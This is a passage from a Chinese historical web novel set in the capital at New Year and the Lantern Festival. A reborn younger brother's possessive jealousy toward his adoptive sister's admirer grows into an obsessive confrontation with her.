裙摆在风中摇曳,鬓边的碎发被风扬 起,露出一张白皙清丽的脸庞。 发出轻微“吱呀”声响的竹梯蓦地被一双手稳稳扶住。 姜芸薇微微一怔,低头看去,对上一双墨玉般的眼眸。 “阿珣,你何时回来的?” 季珣嗓音清润,“阿姐,为何不等我回来再挂?” 姜芸薇将灯笼挂了上去,紧接着,轻手轻脚的从梯子上爬下来,“不过是些琐事罢了,阿姐来做就好了,你最近每日都忙到傍晚才归,今日怎么这么早就回来了?” 季珣薄唇微抿,缄默不言。 他如今不过一介白身,无权无势,想要尽快在京城站稳脚跟,仅靠科考成绩可不够! 不过好在他比旁人多活了一世,占尽先机,靠着这一机缘,他这些时日应酬往来,已然博得不少达官贵人的青眼相待。 假以时日,等到他高中状元,平步青云,权柄在握,便能够让阿姐过上好日子了。 季珣从桌上拿起另一个红灯笼,转身便攀上竹梯,他身形颀长,动作利落,眨眼间便将灯笼挂了上去,“今日无事,便提早回来了。” 姜芸薇站在梯下,仰头望着他。 屋檐下的雪沫子被风卷起,落在他鸦羽般乌黑的发梢上,他额前碎发垂落几缕,那张素来清隽的脸,映照着冬日的暖阳,少了几分冷肃,平添了几分烟火气。 她忽然想起往年,也是这样的除夕,那时候母亲还在世,喊他们姐弟两人帮忙贴年画,挂灯笼,她个子矮,半天挂不上去,季珣在身后,一言不发的接过她手中的灯笼,毫不费劲的挂了上去。 只不过那个时候,姐弟两人关系不好,明明同住一个屋檐下,却生疏的像是陌生人。 姜芸薇回想起往事,心中一时竟有几分物是人非之感。 风一吹,檐下的红灯笼轻轻摇曳,朱红色的流苏穗子簌簌晃动,暖融融的光晕透过红纱缓缓漫开,就连空气中,似乎都多了几分暖意。 待到挂好了灯笼后,姜芸薇又转身去灶房将煮好的浆糊拿了出来,打算将春联和福字贴好。 季珣将春联放在桌面上,用掌心细细摊平,又压住顶端两个角,“阿姐先涂上浆糊,我来贴便好。” 两人便这样并肩立在桌边,衣袂相挨。 冬日的暖阳透过雕花窗棂,将两人的影子拉长,亲密的交叠在一起。 姜芸薇俯下身子,手执细毛刷,专注的将浆糊一点点涂在春联上面。 她低头时,鬓边松松挽就的青丝如瀑垂下,拂过季珣遒劲有力的手臂。 像是羽毛搔过心尖,有些痒。 姜芸薇恍若未觉,继续着手中动作。 季珣并未出声提醒,那一点痒意似乎沿着肌肤,蔓延至心底,激起一阵隐秘的战栗。 姜芸薇将喜联的最后一角涂上浆糊,紧接着,她直起身,将刷子在碗沿搁下,“好了,阿珣,你贴吧。” 季珣颔首,他拿上喜联,走到院门口,对齐边角,利落的贴了上去。 有季珣的帮忙,没多久,屋子就被布置的焕然一新。 窗棂上贴着姜芸薇亲手剪的窗花,喜鹊登枝的纹样栩栩如生,冬日的暖阳斜斜照射进来,亮堂堂一片,满室都洋溢着喜气洋洋的氛围。 案头的白瓷瓶中,插着两枝姜芸薇从外面摘来的腊梅,朱红色的花蕊嵌在深褐色的枝桠间,屋内弥漫着一股清新淡雅的香气。 看着屋内喜庆的氛围,姜芸薇心中弥漫起一阵暖意。 待到明年,她就十八了。 十八,已是待嫁的年纪。 或许再过不久,她便会嫁给旁人。 也许,这是她和季珣过得最后一个年了。 想到这,心头又遽然浮起一丝淡淡的怅惘。 * 到了除夕夜这日,整个京城都笼罩在一片喜庆的氛围之中,每家每户门口都挂上了红灯笼,放眼望去一片流光溢彩,爆竹声噼里啪啦地响着,此起彼伏,孩童的嬉笑声,穿透层层院墙隐隐传来,一片祥和安宁景象。 姜芸薇与季珣两人围坐在桌旁吃年夜饭。 今日乃是除夕夜,桌上的菜色也比平日里更为丰盛:清蒸鲈鱼、炖羊肉、雪菜炒冬笋、油焖大虾、乌鸡汤,还有一壶温好的屠苏酒。 满满一大桌子菜,都是季珣做的。 姜芸薇想要帮忙,季珣却不允。 看着他在烛光下泛着暖光的眸子,姜芸薇心中浮起一阵涩意,看来阿珣是真的长大了。 季珣夹起一块羊肉,放进她的碗中,唇角轻勾,“阿姐,尝尝这个,凉了就不好吃了。” 姜芸薇含笑点了点头。 两人一时都没有说话,安静的用着饭菜。 窗外的爆竹声一阵高过一阵,季珣抬手拿起酒壶,将她面前的白瓷杯斟满,琥珀色的酒液泛着细微的涟漪,被烛光一照,便晃出一圈暖融融的光晕,酒香在空气中弥漫开来。 他又将自己面前的酒杯也斟满,举杯道:“阿姐,新春嘉平,长乐未央。” 姜芸薇连忙也端起酒杯,笑吟吟道:“愿新年,胜旧年。” 两人酒杯在半空中遥遥碰了碰,发出清越的声响。 温热微苦的酒液从喉间滑落肺腑,驱散了身体中的寒意。 姜芸薇酒量不好,便并未多喝,只是浅尝辄止。 * 待到吃过年夜饭后,季珣突然道:“阿姐,我有礼物要送给你。” 姜芸薇愣了愣,“什么?” 季珣摊开掌心,露出手中的碧玉镯。 镯子一看便水头十足,玉质细腻通透,色如翠羽,在烛光下泛着莹润的光芒,如晴空映碧水。 姜芸薇连忙道:“阿珣,你怎么买这么贵重的东西?我不用的。” 季珣却不由分说的将镯子递到她的手中,“阿姐,你何必跟我这么客气?我见这镯子极适合你,便自作主张买了下来,权当是送给阿姐的新年礼物。” 玉镯触手温润,细腻如凝脂。 好歹也是弟弟的一番心意,姜芸薇便没有再拒绝,她握着玉镯的手紧了紧,睫毛轻颤,面露赧色,“抱歉,阿珣,我没有为你准备礼物。” “阿姐不必如此见外。”季珣唇角微勾,目光落在她的腕间,“你戴上看看尺寸可合适?” 姜芸薇点了点头,缓缓将玉镯戴上,竟与她的手腕贴合的恰到好处,仿佛天生就合该戴在她的腕间。 她抬起头,盈盈一笑,“多谢阿珣,玉镯很合适。”手腕转动间,玉镯莹光流转,越发衬得她肌肤胜雪。 面前的铜盆中燃着炭火,暖意丝丝缕缕在屋内蔓延开来,烛影在墙上晃动,将两人的影子慢慢拉长、交叠。 窗外传来爆竹声响,季珣突然道:“阿姐,可要出去走走?” 今日京城不设宵禁,分外热闹,姜芸薇原本也有这个打算,便毫不犹豫的点了点头。 京城大街小巷张灯结彩,处处火树银花,红灯笼绵延数十里,将街市照得亮如白昼,两旁人流如织,车水马龙,一派繁华盛景。 一队舞狮敲锣而过,道路两旁被挤得水泄不通,几乎是寸步难行,姜芸薇被身后骤然涌来的人流撞了一下,身子一个踉跄,眼看着就要摔倒在地。 季珣猛的扣住她的手腕,“阿姐,当心。” 她整个人径直撞进季珣的怀中。 他掌心很烫,灼热的温度沿着肌肤蔓延,令她的心尖都不自觉颤了一下。 人潮裹挟着推搡,姜芸薇被迫贴在他的胸膛,鼻翼间满是他身上清冽的雪梅气息,她的心跳都不自觉的乱了一拍。 季珣手臂收紧,虚虚拢着,将她护在怀中,避开拥堵的人潮,他低头瞥她一眼,“阿姐,没事吧?” 季珣说话的时候,她能够感受到他胸腔的震动。 姜芸薇整个人如同鸵鸟般,埋在他怀中,连头都不敢抬,脸颊滚烫的像是要烧起来,就连耳垂,都染上了一层绯色。 周围人声鼎沸,热闹不已,她的耳边却只能够听到两人交叠的心跳声,恍若擂鼓。 待到人潮渐渐散去,季珣这才慢慢松开手,“阿姐,没事了。” 姜芸薇红着脸,讷讷点了点头。 她的神情还有些不太自在,眼神躲闪。 便也就没有瞧见,自头顶传来的那道幽暗灼热的目光。 两人行至一座拱桥边时,瞧见许多人都聚在河边放花灯,波光粼粼的水面上漂满了花灯,连成一片,恍若流动的银河,将水面映得璀璨明亮,如梦似幻。 “阿珣,我们也去放河灯吧?”姜芸薇很快便被这样的盛景吸引了注意力,眸中也染了几分笑意。 季珣毫不犹豫,“好啊。” 话毕,他走上前,挑了两盏花灯买下。 又回头递一盏莲花灯给姜芸薇,“阿姐,这盏给你。” 姜芸薇伸手接过,她在河边蹲下,手指轻扶着灯沿,闭着眼睛在心中默默许了个愿望,紧接着,将莲花灯轻轻推入水中。 季珣站在她的身后,一瞬不瞬的注视着她。 灯光映照着她素净的脸庞,她整个人都恍若笼上了一层温柔的光晕,纤长而卷翘的睫毛微微颤动,像两把小扇子,挠得人心痒。 姜芸薇回过头,笑靥如花,“阿珣,你也快些放花灯吧。” 季珣点了点头,他学着姜芸薇的样子,在心中默默许下愿望,继而,将花灯缓缓放入河水中。 水波微晃,河灯逐渐顺着水流逐渐飘向远方。 这时候,头顶蓦地传来“砰砰”的声响。 姜芸薇下意识的仰头看去。 只见五颜六色的烟花在头顶炸开,恍若绚烂的流霞,在夜空次第绽放,将京城照得亮如白昼。 姜芸薇惊呼出声,眸中倒映着漫天星火,衬得一双眸子格外璀璨夺目,“阿珣,快看烟花!” 季珣目光却黏在她的身上,温柔而又灼热。 周围人声鼎沸,一簇烟花在两人身后炸响,流光似银河倒泄。 第42章 第42章 她不敢生出别的妄想。…… 正月初一, 姜芸薇换了身簇新的红色对襟夹袄,外披一件雪白的狐裘斗篷,脸上画了淡妆, 比之平日里素净的模样, 多了几分妍丽。 以前在柳溪村的时候,每到大年初一,季母都会带她和季珣姐弟两人去村子里拜年, 如今刚搬来京城, 人生地不熟的,自然便免去了走街串巷这一章程。 许是会试在即, 季珣早上同她拜过年后便出去了,临走时, 说中午回家一起用午膳。 姜芸薇关上院子门, 揣上荷包, 打算去集市上买些吃食和新鲜的瓜果蔬菜, 中午做一桌子好菜。 街市上正是热闹的时候, 挑着担子卖春饼的小贩,叫卖的嗓音分外嘹亮,卖糖人的老伯正专注的捏着一只栩栩如生的小兔子,道路两旁的摊子上,摆满了琳琅满目的年货,有瓜子、糖糕、糖莲子等各种吃食,甜丝丝的香气在空气中漫开。 姜芸薇买完菜后, 又忍不住停下脚步,买了些糖糕。 “姜姑娘?” 正准备回家,身后蓦地传来一道熟悉的嗓音,语气之中含着几分不确定。 姜芸薇回过头, 只见林遇正站在身后,面上含着笑容。 他乡遇故知自是令人欣喜,姜芸薇双眸一亮,“林公子,你什么时候来京城的?” 林遇唇角嗪笑,“家中有些事耽搁了,今日才刚到,方才我远远瞧见一人很像你,还有些不敢认,没想到果真是你。” 姜芸薇:“林公子可找到住所了?” 林遇:“还没呢,我刚在客栈落脚,今日乃是大年初一,便想着出来走走,也沾一沾节日喜气。” 想到昨日乃是除夕夜,而林遇却独自一人在寒风里踽踽赶路,连个相伴守岁的人都没有,她不免生出几分恻隐之心,“今日乃是团圆的好日子,林公子与阿珣也许久未见了,不如去我们那用午膳吧,你和阿珣乃是同窗,又是知己好友,如今在京城相遇,也算是有缘分。” 在姜芸薇看来,人生在世,能够遇到一两知己,实乃一桩幸事,她不想看着季珣和林遇两人日渐疏远,况且同在京城,日后若是有事,彼此之间也能有个照应。 除此之外,她的心中还藏着一点隐秘的心思。 林公子温润如玉,文采斐然,气质洁净不俗,如林间清风,山上皑皑白雪,望之便容易令人心生好感。 姜芸薇自然也无法免俗。 早春多雨,雨水淅沥,少年郎君着雪青衣衫,手中撑着一柄油纸伞,微抬伞面,露出一张温润清隽的脸,他伸手虚扶崴了脚的她,从头到尾,无半点逾越之举。 或许,早从那一刻起,心底便悄悄埋下了种子,又在春雨的滋润下,悄悄探出了一点芽尖。 自此之后,每次去书院给阿珣送饭的时候,她总会忍不住在人群中逡巡他的身影,哪怕只是远远瞧见他清隽的侧脸,心头也能漾起一丝浅浅的欢喜。 这点隐秘的悸动,就如投入湖心的石子,漾起一圈涟漪,便又迅速归于平静,无迹可寻。 她知晓,林遇虽不是什么簪缨世族子弟,却也是书香门第、家风清正,而她不过一介孤女,两人有着云泥之别。 她不敢生出别的妄想。 看着她明亮的眼眸,林遇没有拒绝,“如此,那就麻烦姜姑娘了。” * 姜芸薇将林遇引到正厅的梨花黄木椅上坐下,给他倒了一杯热茶,又将今日刚买的瓜果糖糕取出,放在托盘中,“林公子,你先坐一会吧,想必阿珣也快要归来了,我先去做午膳。” 林遇道:“姜姑娘,可有什么需要我帮忙的?” 姜芸薇莞尔,“不必了,林公子乃是客人,哪有让客人帮忙的道理。” 话毕,她拎着今日刚买的菜,朝着灶房走去。 一直到了午时,饭菜都准备好了,季珣却迟迟没有归来。 姜芸薇频频向外张望,口中嘟囔道:“阿珣他近段时日常常早出晚归,也不知晓在忙些什么。” 林遇弯唇一笑,“姜姑娘,你竟不知道吗?” 姜芸薇不明所以,“知道什么?” 林遇缓缓道:“季兄他如今在京城可是声名鹊起,我初入京城,便听有人在议论此事。” “何事?”姜芸薇越发茫然了。 “寒门举子赴京参加会试,察觉天象有异,连日暴雨,漓江恐有决堤之祸,届时洪水倒灌,百姓生灵涂炭,他数次奔走于府衙,详述加固河堤之法,又协助修建水利设施,及时加固了堤坝,免去了一场浩劫,经此一事,他的名号早就传遍京城了,茶楼酒肆皆在议论此事。” 林遇模仿着那些说书人的语气,讲的绘声绘色,姜芸薇却听得惊心动魄。 她无论如何都没有想到,不过才短短半月时间,季珣竟做下了这样一件轰轰烈烈的大事,看来他果非池中之物。 这些日子,他早出晚归,竟然都是在救民于水水,姜芸薇的心中,一时也生出几分与有荣焉的自豪感。 只是这么重要的事情,他却为何不告诉自己呢? 还真是说曹操曹操到,两人刚说完,季珣便自屋外施施然走了进来。 他瞥见屋内坐着的林遇,脚下步伐一顿。 继而,又若无其事的走了进来,目光落在姜芸薇的身上,“抱歉,阿姐,我来迟了,让你久等了。” 见他对林遇视而不见,姜芸薇嗔怪的瞪他一眼,“阿珣,林公子乃是特意来看你的,你们从前乃是至交好友,如今又都在京城,彼此之间也好有个照应。” 季珣这才淡淡瞥了林遇一眼,颔首道:“林兄。” 林遇并未在意他疏冷的态度,唇角始终蕴着抹笑,“季兄。” 见状,姜芸薇颇为无奈,只好主动找起了话题,“阿珣,你这些日子,都在忙着修筑堤坝治水吗?怎么没听你提起过?” 季珣点了点头,“不过些许小事,不想让阿姐担心。” 姜芸薇颇为不赞同,“这怎么能说是小事呢,此等为国为民的大事,阿姐真为你骄傲。” 季珣垂下眼眸,缄默不言。 前世,暴雨导致漓江决堤,京城百姓死伤数百人,伤者逾千。 这一世,他占尽先机,借用此事,将自己的名声在京城打响。 他并非阿姐口中那等心系天下之人,旁人是死是活,与他有何干系? 他如今所在乎的人,唯有阿姐一个。 席间,林遇和季珣皆默不作声,安静的只能够听到碗筷碰撞发出的清脆声响,气氛分外沉闷凝滞。 姜芸薇只好绞尽脑汁的主动找着话题。 期间,季珣只是淡淡的应和她几句,他神情冷肃,似乎瞧着心情不虞。 好在,林遇倒是分外捧场,不管她说什么,都逐字逐句回复。 一时间,饭桌上,只能够听到他们两人的絮絮低语声。 两人相谈甚欢的场景,恍若一根细针,狠狠扎进心底。 季珣眸光阴郁,想杀戮的欲望在胸腔翻腾。 他已经许久未动过杀念了。 他原本不想对林遇动手,毕竟两人前世有旧。 活了两辈子,他的朋友屈指可数,能称得上是知己,又是旗鼓相当对手的,唯有林遇一个。 可是…可是…… 可是偏偏阿姐的眼中有他! 他知道,像林遇这样光风霁月的真君子,正是阿姐钦慕的男子类型。 只要有林遇在,阿姐的目光,便永远不会停留在自己身上! 倘若他消失就好了…… 妒意恍若燎原的火,席卷而来,将他整个人吞噬。 季珣手背上青筋暴起,握着白瓷杯的手指猛地收紧,只听“咔嚓”一声脆响,白瓷杯竟在他手中应声碎裂,掌心被瓷片割破,殷红的血液顺着白皙的掌心渗出来,滴落在桌面上。 姜芸薇一脸惊骇的望着他,“阿珣,你的手……” 季珣唇角轻勾,眸光幽冷,“阿姐,我没事。” “还说没事,都流血了,得快些上药才是。”姜芸薇连忙快下碗筷,踅身身往屋内跑去。 一时间,桌边只剩下了季珣和林遇两人。 林遇目光探究的望着他,“阿珣,你没事吧?” 季珣抬起眼帘,黑沉沉的眸子直勾勾的盯着他,他面容阴霾,脸上神情森冷,眸中满是嗜血的杀意。 如同被一盆凉水兜头浇下,林遇只觉毛骨悚然,犹如被毒蛇盯上。 * 姜芸薇取来药酒、金疮药和干净的纱布,她专注的低垂睫羽,先用药酒为他擦拭伤口。 季珣的掌心嵌满了碎玻璃渣,一双手血肉模糊,看起来分外的触目惊心。 姜芸薇小心翼翼的将玻璃残渣挑出,动作极其轻柔,生怕弄疼了他,她的眼圈都泛了红,“好端端的,怎么就伤着了?痛吗?” 再过不久,季珣便要参加春闱考试了,这时候伤了手,耽误了考试可如何是好? 季珣勾唇一笑,“阿姐,不必担心,些许小伤而已。” 听着他满不在乎的语气,姜芸薇心中又心疼又气恼,恼他都这么大人了,竟半点不知道爱惜自己的身体。 姜芸薇将药粉撒在他的伤口上,又用纱布缠了几圈包扎好。 她口中语气责备,眸中却满是心疼之色,“流这么多血,哪里是什么小伤?” 望着她泛红的眼尾,关切的神情,季珣胸腔里翻涌的暴虐戾气,瞬间消散的一干二净。 真好,现如今,阿姐的满心满眼,都剩下他一个人了。 第43章 第43章 被禁锢在他的怀中,动弹不得…… 待到午膳吃完后, 林遇也要告辞了。 姜芸薇将他送到院门口,面露愧疚之色,“抱歉, 林公子。” 看来, 今日是她自作主张了。 她将林遇邀来家中,原是为了消解他和季珣两人之间的嫌隙,然而, 这样一番折腾, 两人的关系反而越发剑拔弩张了,她心思细腻, 自然能够看得出来,季珣对林遇疏离的态度和冷漠的神情。 虽然不知季珣对林遇的敌意由何而来, 不过看起来两人龌龊由来已久, 并非她三言两语就能够化解的。 改日, 还是得多劝慰季珣几句。 林遇温温一笑, “姜姑娘千万别这么说, 你一番好意,我感谢还来不及。” 姜芸薇柔声,“那林公子,你往后有什么事情,也可以来寻我,大家都是同乡,又同在京城, 遇到什么事情,彼此之间也好有个照应。” “好。”林遇笑了笑,似乎想到了什么,他又道:“对了, 姜姑娘,我听闻京城的元宵佳节分外热闹,城内灯火辉煌,花灯如昼,不知那日你可有空?” 姜芸薇闻言,羽睫猛地一颤。 她下意识抬起头,恰好撞入一双温柔的眼眸中,他的眸光清亮,恍若浸染了融融春水。 她呼吸都慢了半拍,心中霎时冒出一个大胆的猜测,然而,这念头刚冒出头,又被强自按捺下去,林遇素来温文有礼,许是刚来京城,找不到邀约之人,这才邀她同行。 雀跃的心逐渐冷静下来,姜芸薇垂下眼帘,含糊应道:“自然是有的。” 林遇含笑望着她,“不知道在下可有幸邀姜姑娘同游?” 姜芸薇指尖微蜷,自是没有拒绝,“好。” 话音落下的那一瞬间,姜芸薇蓦地感觉后颈一凉,似乎有一道冰冷的视线黏在身上,刺的她背脊生寒。 她下意识的转头看去,却见身后空无一人,只有廊下的大红灯笼在风中摇曳。 然而,那种被人窥视的感觉却半分未少,似乎暗处有一双眼睛,正监视着她的一举一动,令人毛骨悚然。 “姜姑娘,你怎么了?” 林遇温和的嗓音唤回了她的思绪。 姜芸薇回过神来,连忙摇了摇头,“无事。” 林遇双眸亮如星子,“那元宵节那日,申时一刻,我在此处巷子外等你。” * 元宵节前一日的京城,便已经分外热闹了,满城灯火煌煌,光耀如昼。 姜芸薇坐在菱花镜前,看着妆奁中的首饰,眉头微微蹙起。 她的首饰非常少,统共也不过才四五件,而且款式老旧,都是许多年前的样式了,一匣子朴素的首饰中,唯有一只色泽温润,细腻通透的碧玉镯分外耀眼。 这是季珣送她的。 乃是她所有首饰当中,最值钱的了,她平日里都舍不得戴,生怕不小心在哪里磕了碰了。 然而,想到明日和林遇的邀约,她犹豫一瞬后,终是将镯子取出,小心翼翼的戴在手腕上,碧玉镯在烛火下泛着莹润的光泽。 这时候,门外倏地传来一道敲门声响,“阿姐,你睡下了吗?” 姜芸薇连忙起身上前打开门,“阿珣,有什么事吗?” 季珣今日穿了一身黑衣,几乎与夜色融为一体,看上去比平日里多了几分冷肃,“阿姐,明日乃是元宵佳节,京城分外热闹,听说有灯会猜谜活动,我想邀请阿姐一起去街上逛逛。” 姜芸薇一怔,她垂下眼帘,眸光闪烁,缓缓道:“阿珣,我明日有事情,恐怕不能陪你去了。” 说完,心中不禁涌起几分愧疚感,阿珣初来京城,也没什么朋友,元宵节这样热闹喜庆的日子,自己却抛下他,和别人一起去赏花灯、猜灯谜。 季珣并未说话,他视线一转,目光直勾勾的盯着她腕间的碧玉镯子,眸光陡然转深,半晌后,他幽幽一笑,嗓音平静听不出波澜,“既然阿姐没空,那我就不打扰阿姐了,阿姐早些歇息。” * 子时已过,万物都笼罩在一片寂静当中,清凌凌的月色下,季珣立在院子里的水井旁,身上中衣半褪,露出一片肌理分明的肩背。 他蓦地抬手,将面前那桶刚从水井中打上来,还在冒着森森寒气的冷水,从头顶轰然浇下。 一道压抑不住的闷哼声从齿缝中溢出,寒意如同细小的绣花针,钻进四肢百骸,他冷的浑身打颤,牙关紧咬,皮肤在月光下透着死气沉沉的青灰色,一双眸子浸着寒霜,冷戾森然。 冷水将他浑身淋得湿透,湿漉漉的黑发紧贴着额角,越发衬托的那张俊美的面容苍白如纸,恍若冰封的一抔雪,又像是从九幽之地爬出的恶鬼,阴森可怖。 * 翌日清晨,姜芸薇醒过来的时候,季珣已经不在家中了。 她暗暗松了口气,不知为何,她下意识的并不想让季珣知晓,她今日乃是要和林遇出去 过元宵节。 待到晌午吃过饭后,姜芸薇换了一身新衣,又对着菱花镜细细描了眉,唇间抹了点淡色口脂。 眼看着和林遇约定的时间快到了,姜芸薇正准备出门,这时候,院子外蓦地传来“吱呀”一声,紧接着,有人推开门走了进来。 姜芸薇心中一紧,想必是季珣回来了。 早不回来晚不回来,偏偏在她准备出门的时候。 姜芸薇无奈叹了口气,她将妆奁合上,出去看了一眼,果不其然,是季珣回来了。 他不知回屋拿了什么,恰好从房间内走出来。 姜芸薇收敛心绪,柔声问道:“阿珣,你用过午膳了吗?” 季珣抬起眼帘看过来。 姜芸薇这才注意到,他的脸色似乎有些不太对,白皙的脸颊上泛着异样的潮红,就连抬眼望过来的眼神,亦是分外迷离,恍若笼罩着一层薄薄的雾气。 姜芸薇怔了一下,她正想开口询问,眼前的男子突然身形一晃,整个人便如巍峨玉山般,朝着她倒了过来。 姜芸薇始料未及,连忙下意识伸出手去搀扶他。 然而一个成年男子的重量,又岂是姜芸薇能够接得住的? 一道沉沉的重量毫无预兆的压了下来,两个人齐齐倒在地上。 姜芸薇闷哼一声,季珣高大的身躯覆在她的身上,隔着衣料,都能够感受到他异常炙热的体温,恍若一块烧红的烙铁,灼烧着她的肌肤。 他灼热的呼吸喷洒在她的颈窝,姜芸薇呼吸一颤,心跳瞬间乱了节拍。 她身子僵住,一动也不敢动,“阿珣,你怎么了?” 两人离得极近,姜芸薇能够看清楚他颤抖的眼睫,紧闭着的双眸,以及干涸起皮的唇角,他的额头贴在她的脸颊边,滚烫如火。 看他这样子,想必是染了风寒,发高热了。 姜芸薇心中一紧,下意识的便想要推开他,起身去拿湿帕子给他擦身,散散热气。 似乎察觉到她的意图,压在身上的人修长的手指动了动,竟骤然箍住了她纤细的腰身。 姜芸薇被禁锢在他的怀中,动弹不得。 这样的姿势未免太亲密了,姜芸薇脸颊也火辣辣的烧了起来,心中又羞又臊,“阿珣?你醒醒,你发高热了,我得去给你拿药。” 似乎听到了她的声音,季珣两片羽睫缓缓抬起,他的眼底遍布红血丝,眼尾沁着一抹红,那双素来漆黑深邃的眸子此刻黯淡无光,恍若嗪着一团水雾,看上去分外的虚弱迷离,他唇瓣翕动,低喃出声,“阿姐。” 他滚烫的唇擦过她的耳廓,呼吸间喷洒出的热气,激起一阵细微的酥麻战栗。 姜芸薇抬起手,抵着他的胸口,轻轻推了推,然而他的身子却是纹丝不动,她心中无奈,只好柔声道:“阿珣,你醒了?你先起身可好?” 季珣恍若未闻,非但没有放手,箍着她腰肢的手臂反而愈发紧了紧,远远望去,两人抱在一起,严丝合缝,恍若一对亲密无间、如胶似漆的眷侣。 一道极轻的脚步声由远及近传来。 季珣缓慢抬头,视线不偏不倚,恰好和站在门外的林遇视线对上。 四目相对的刹那,林遇一脸错愕。 而季珣唇角微勾,缓缓绽开了一抹笑。 那笑意却未达眼底,裹挟着森冷的寒意与赤裸裸的、毫不掩饰的挑衅。 姜芸薇被他死死压在身下,浑然不觉林遇正站在身后,她如今心慌意乱,满脑子只想着怎么从季珣怀中挣脱出去,况且,他都病成这样了,得快些去医馆看病,不能再耽搁了,倘若烧出什么好歹,那就不好了。 * 林遇耳边嗡嗡作响,他几乎不敢相信眼前所看到的这一幕。 他手中还提着送给姜芸薇的兔子花灯,握着花灯的手指不可抑制的颤抖起来,指节微微泛白。 林遇灵台骤然清明,之前想不明白的事情,此刻皆拨云见日般都有了答案。 怪不得季珣总是对他有着莫名的敌意,原来如此!竟然答案是这样! 林遇嘴唇颤了颤,那些刻在骨子里的君子风度束缚着他,他终是什么都没有说,转身失魂落魄的走了出去。 第44章 第44章 你疯了,我是你的姐姐 季珣身子一软, 彻底昏了过去。 他的额角擦过她殷红的唇瓣,蹭上了一点她今日刚抹的口脂,染上了一抹靡丽的红。 姜芸薇使劲将他推开, 又连忙抬手触了触他的额头。 滚烫如火, 烧的她的指尖都忍不住蜷缩了一下。 姜芸薇心中一紧,连忙进屋去取来湿帕子,擦拭着他的脸颊、额头。 少年脸色苍白, 额发被汗水濡湿, 贴在额头上,嘴唇干涸到发白, 身子微微蜷缩着,恍若一只受伤的小兽。 烧得这么严重, 得尽快请大夫才行。 姜芸薇费力将季珣扶到床榻上躺下, 好在她以前在柳溪村的时候, 做惯了农活, 力气也比寻常女子稍大些。 她将厚实的被褥盖在季珣身上, 又帮他掖好被角,“阿珣,我这就去给你请大夫,很快就回来。” 话毕,她转身匆匆走了出去。 好在医馆离得并不算太远,大夫很快便拎着药箱,赶了过来。 老大夫把过脉后, 捋着花白长须,神色凝重道:“这位公子乃是受寒导致的高热,此症来得急,好在并未侵及脏腑, 老夫开些药,你速去煎给他喝下,倘若服过药后,今夜高热能退,便无大碍了。” 姜芸薇下意识追问,“那倘若今夜高热不退呢?” 老大夫:“那就凶险了,这风寒之症,虽是小病,不过倘若高热不退,热邪攻心、烧坏脑子、危及性命者亦是有的。” 姜芸薇听得心惊胆颤,她道过谢后,双手颤巍巍的接过老大夫递过来的药包。 她强压下心中恐慌,连忙去灶房煎药。 待到熬好药后,她动作轻柔的将季珣搀扶起来,又取来软枕垫在他的身后,让他半靠着。 姜芸薇坐在床边,小心翼翼的端起药碗,又用汤勺舀了药汁,抵至他唇边,然而,他齿关紧闭,药汁很快便沿着唇角滑落,沾在雪白的衣襟上,清苦的药味在屋内弥漫。 她连忙取来帕子擦干净他唇角的药渍,又毫不气馁的再次舀了勺药,往他的嘴里喂去。 如此循环反复,一碗药总算是见了底。 姜芸薇松了口气。 夜里,她守在季珣床榻边,每隔半个时辰便用湿帕子给他擦身降温,寸步不离。 屋外的梆子声已经响过三声,床榻上的少年眼睫忽然剧烈颤动了几下,紧接着,缓缓睁开了眼。 他眼珠子转了转,继而,视线一凝。 只见姜芸薇趴在床榻边睡着了,她身上还穿着白日里的那件衣衫,乌发散落在床榻上,她的面上带着浅浅的倦色,长睫覆下浅浅阴影,雪肤上沾着一道红痕,许是趴着睡久了压出来的。 季珣目光一瞬不瞬的凝视着她,心尖滚烫如火。 屋内分外寂静,只能够听到烛火燃烧时发出的细微“哔剥”声。 姜芸薇指尖突然颤抖了一下,悠悠醒转过来。 她下意识抬眼去看床榻之上的季珣,便恰好对上他温柔的眼眸。 姜芸薇惊喜万分,“阿珣,你醒了,怎么不叫我?” “阿姐辛苦照顾了我一夜,我不忍扰了阿姐休息。”季珣漆黑长发如瀑披散在肩头,声音像是被砂纸磨过,哑的厉害。 他一句话说完,蓦地剧烈咳嗽起来,像是要将心肺都咳出,眸底氤氲出一层水雾,就连眼尾,都洇上一抹红色,肤色白的隐约可见青色血管,看上去比平日里孱弱多了,令人不自觉心生怜惜。 姜芸薇连忙轻轻拍着他的背脊,眸底满是担忧之色,“阿珣,你没事吧?如 今觉得怎么样,头还疼吗?” 话毕,伸手去探他的额头,触手温热,却并不滚烫。 看来,他的高热已退,巨大的喜悦如潮水般涌来,姜芸薇这一日来,脑海中紧绷的那根弦总算是断了,她彻底松了口气,“阿珣,大夫说,你今夜退烧便无什么大碍了,往后只需要按时吃药,便能够痊愈。” “多谢阿姐照顾。”季珣柔声。 残夜将尽,窗外的天幕逐渐染上一层淡淡的青灰色。 姜芸薇扭头向外看去,想起和林遇的约定,心中一时不禁有些怅然。 元宵佳节,两人约好同赏花灯,她却失约了,辜负了这一场期盼,改日再碰到林遇,定要好好解释一番。 季珣目光钩子似的,直直盯着她,“阿姐在想些什么?” 他的声音兀的在耳边响起,姜芸薇惊了一跳。 她转过身,便对上一道沉如寒潭的目光,带着几分洞悉一切的锐利。 姜芸薇心中一窒,竟莫名有种被他窥破内心的感觉。 她有些不自在的垂下眼帘,避开他灼热的视线,“没想什么,阿珣,天快要亮了,既然你如今已经好的差不多了,那我也先回房了。” “阿姐,别走。” 手腕蓦地被一只强劲有力的大掌握住。 肌肤相触间,炙热的温度灼得姜芸薇呼吸发紧,她心中犹如揣了只兔子般,惴惴不安。 “阿姐可是在想林遇?”他低哑的声音随之传来。 姜芸薇惊惶不安,周遭气氛恍若瞬间凝滞住了,空气中仿佛有什么正在蠢蠢欲动的膨胀着,试图挣破枷锁,冲出牢笼。 她下意识的想要阻止这一切,可喉间却像是被什么堵住了,唇瓣翕动数次,竟发不出半点声音。 “阿姐为何不敢回答?”季珣强硬的将她的身子掰过来,迫她面对着自己。 两人距离近在咫尺,清冽的雪梅香糅杂着他身上的热气,藤蔓般丝丝缕缕的缠绕上来,周遭空气陡然变得稀薄。 姜芸薇睫毛抖了抖,嗓音发颤,“阿珣……” 他的眸光晦涩,像是暴风雨来临之前的海面,表面上平静无波,眸底深处却翻涌着暗沉沉的浪,恍若要将她吞噬其中。 姜芸薇这才惊觉,她一直视之为弟弟的少年,不知何时起,身形变得挺拔而陌生,周身充斥着危险莫测的气息。 这样的季珣,令她本能感到恐惧,从前那些自欺欺人的幻想被眼前的现实狠狠撕开一道血淋淋的口子,由不得她再装傻逃避。 